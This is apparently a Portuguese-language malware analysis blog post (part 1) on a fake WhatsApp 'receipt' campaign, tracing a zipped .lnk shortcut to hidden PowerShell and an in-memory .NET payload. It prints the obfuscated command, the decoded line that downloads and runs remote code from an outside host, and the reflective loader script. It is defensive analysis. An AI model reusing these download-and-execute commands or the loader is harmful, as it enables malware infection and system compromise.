Análise técnica do Malware do WhatsApp (Comprovante Fake) - Parte 1
Introdução
Na última semana de Setembro de 2025, um suposto malware enviado em forma de um comprovante via WhatsApp foi muito comentado na internet, tendo afetado várias pessoas e empresas.
A mensagem que a vítima recebe tem o seguinte formato, apesar de haver outras variações.
Um suposto comprovante enviado no formato .zip, e com um aviso de que ele deve ser aberto no computador.
Até onde sabemos, o malware utiliza da sessão da vítima para se propagar pelos contatos do WhatsApp.
Análise do arquivo do “Comprovante” (dropper)
O arquivo que é enviado via WhatsApp é um arquivo .zip, com nome de um comprovante.
Um arquivo leve, com menos de 1kb.
SHA256 -> 5d40a9399fdac4d0e9c78c0716882f1ad409a33202d38c9c2ec6419acc8afae4
Ao abrir o arquivo zipado, dentro dele há um outro arquivo, que supostamente seria o comprovante.
O arquivo tem a extensão .lnk, ou seja, é um atalho.
É possível observar inclusive, que ao extrair, o ícone do arquivo já muda para o CMD.
O atalho executa o CMD com argumentos customizados.
O comando executado é o
1
C:\Windows\System32\cmd.exe /WMRX:F0E /WFXI:BNYE5S /D/C "for %O in (-w) do for %u in (e) do for %j in ("SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHI") do for %z in (.ex) do for %D in ("AaQBuAG
Porém, nas propriedades do Windows, a visualização dos argumentos é limitada.
Podemos utilizar um cat pra ler o conteúdo do arquivo, mas para uma melhor visualização, vou utilizar o Easy Link File Viewer.
Argumento completo:
1
/WMRX:F0E /WFXI:BNYE5S /D/C "for %O in (-w) do for %u in (e) do for %j in ("SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHI") do for %z in (.ex) do for %D in ("AaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBlAHgAcABhAG4AcwBpAHYAZQB1AHMAZQByAC4AYwBvAG0ALwBhAHAAaQAvAGkAdABiAGkALwBzAH") do for %o in (power) do for %k in (hid) do for %q in (nc) do for %a in (-e) do for %W in ("QAYQByAHQAdQBwAC8AZgAyAGUANQA3ADEAMQA0ADgANAAyAGIANAA4AGUAOAA4ADAAMwBiADYAZQBhAGMAMQBhAGYANwBhAGMANQA3ACcAKQA=") do for %e in (shell) do %o%e%z%u %O %k %a%q %~j%~D%~W"
Basicamente, esse código ofuscado forma:
1
powershell.exe -w hidden -enc <código base64>
E o código base64 decodado forma:
1
IEX (New-Object Net.WebClient).DownloadString('https://expansiveuser.com/api/itbi/startup/f2e57114842b48e8803b6eac1af7ac57')
Sendo assim, o comando final é:
1
powershell.exe -w hidden IEX (New-Object Net.WebClient).DownloadString('https://expansiveuser.com/api/itbi/startup/f2e57114842b48e8803b6eac1af7ac57')
Esse comando faz um request para https://expansiveuser.com/api/itbi/startup/f2e57114842b48e8803b6eac1af7ac57 e executa o retorno dele.
O script que essa url retorna é o:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# OmVdbWIQcLsWkD0X6R4buCzGA3CbLilPEukU4R
$XO9z3 = 'bN39DL8YjJWStv4G58tcVZBxUlZNJlAgiacmwL5E6eyLG0cfSEoyVj8wGIZcKv5CzGm'
$rfoVbekl = 8587
function E2IYSQuC {
param([int[]]$t1hDcBtL,[int]$y4FLW)
if ($t1hDcBtL -eq $null -or $t1hDcBtL.Length -eq 0) {
return $null
}
$v6YYC = New-Object byte[] $t1hDcBtL.Length
for($i=0; $i -lt $t1hDcBtL.Length; $i++){
$v6YYC[$i] = [byte]([math]::Floor($t1hDcBtL[$i] / $y4FLW))
}
return $v6YYC
}
$sYZd = [int[]]@() # Removi os valores para melhorar a visualização mas o script inteiro estará abaixo.
if ($sYZd -eq $null) {
exit 1
}
$BwHC = E2IYSQuC $sYZd 190
if ($BwHC -eq $null -or $BwHC.Length -eq 0) {
exit 1
}
try {
$assembly = [System.Reflection.Assembly]::Load([Byte[]]$BwHC)
$entryMethod = $null
foreach ($type in $assembly.GetTypes()) {
foreach ($method in $type.GetMethods([System.Reflection.BindingFlags]::Static -bor [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::NonPublic)) {
$attrs = $method.GetCustomAttributes([System.STAThreadAttribute], $false)
if ($attrs.Length -gt 0) {
$entryMethod = $method
break
}
}
if ($entryMethod -ne $null) { break }
}
if ($entryMethod -eq $null) {
foreach ($type in $assembly.GetTypes()) {
$method = $type.GetMethod('Main', [System.Reflection.BindingFlags]::Static -bor [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::NonPublic)
if ($method -ne $null) {
$entryMethod = $method
break
}
}
}
if ($entryMethod -ne $null) {
$entryMethod.Invoke($null, $null)
}
} catch {}
# AujoKTDaO2CJ2ptcxFemtR
Análise estática do Malware
O script PowerShell que é baixado do site tem uma funcionalidade até que simples.
Em resumo, ele tem uma lista de inteiros, uma função que faz uma operação matemática nesses inteiros, e uma função que executa o assembly .NET direto na memória, sem salvar nenhum arquivo.
A função que faz um cálculo simplesmente divide os número inteiros da lista por 190 e retorna uma nova lista.
- Passa a lista de bytes para a função de conversão (E2IYSQuC)
- Verifica se a conversão teve sucesso
- Tenta carregar o assembly na memória
- Nesse assembly, procura por um método com atributo
STAThreadou com o nomeMain - Dá um Invoke no método encontrado
Tendo a lista de inteiros, fiz a conversão dela para os bytes que formam o assembly .NET que é executado.
Script utilizado:
1
2
3
4
5
6
7
8
encoded_bytes = [] # aqui vão os bytes
decoded = bytearray()
for integer in encoded_bytes:
decoded.append(int(integer / 190))
with open("payload.bin", "wb") as f:
f.write(decoded)
Abri esse arquivo no DIE, e ele detecta como realmente sendo uma dll .NET.
SHA256 -> 8646a46ef0988ca44edd112fac6988a6f9426c9ac1abdbe76069b71c4f1c4664
Sendo assim, abri no dnspy para tentar ler o código dele.
Logo de cara em uma das primeiras classes, é possível notar que tem vários métodos sendo importados com nomes totalmente diferentes do seu método real.
Por exemplo, o FindWindowEx sendo importado como setCurrencyNegativePatternDebugFacilityMessage. Isso dificulta um pouco a análise.
Também vemos um método com o atributo STAThread que o script PowerShell busca para fazer a execução.
Esse método ReadOnlyDictionaryRequestingAssembly é bem confuso, parece que o código roda com algum tipo de virtualização.
Percebi também que as chamadas são feitas através da instrução calli, passando um ponteiro da função que deseja ser executada.
Por exemplo, como vimos na penúltima imagem, a função FindWindowEx é importada com o nome de setCurrencyNegativePatternDebugFacilityMessage.
Mas analisando o código, vemos que esse método não é chamado diretamente.
A única referência a ela é nesse outro trecho, no método PrefixCodeCryptoConfig:
Porém nem mesmo esse método é chamado diretamente.
Esse array getFileNamegetIsTypeSpec é preenchido com os ponteiros desses métodos, e a chamada delas é feita utilizando o calli, como mostrado abaixo:
Dá pra supor que a chamada está sendo feita para a FindWindowEx por conta da assinatura dela:
System.IntPtr(System.IntPtr,System.IntPtr,System.String,System.String
1
2
3
4
5
6
Retorno: IntPtr
Primeiro argumento (hWndParent): IntPtr
Segundo argumento (hWndChildAfter): IntPtr
Terceiro argumento (lpszClass): String
Quarto argumento (lpszWindow): String
Conclusão
Como visto anteriormente, o malware parece estar usando alguma técnica de virtualização para dificultar o reversing dele. Durante o debugging deu para entender um pouco do funcionamento, mas não todo o seu fluxo.
Como estou com esse post pronto há um tempo, decidi postar como parte 1, e no futuro pretendo fazer uma parte 2 mais detalhada com foco na propagação do próprio malware através do WhatsApp da vítima.













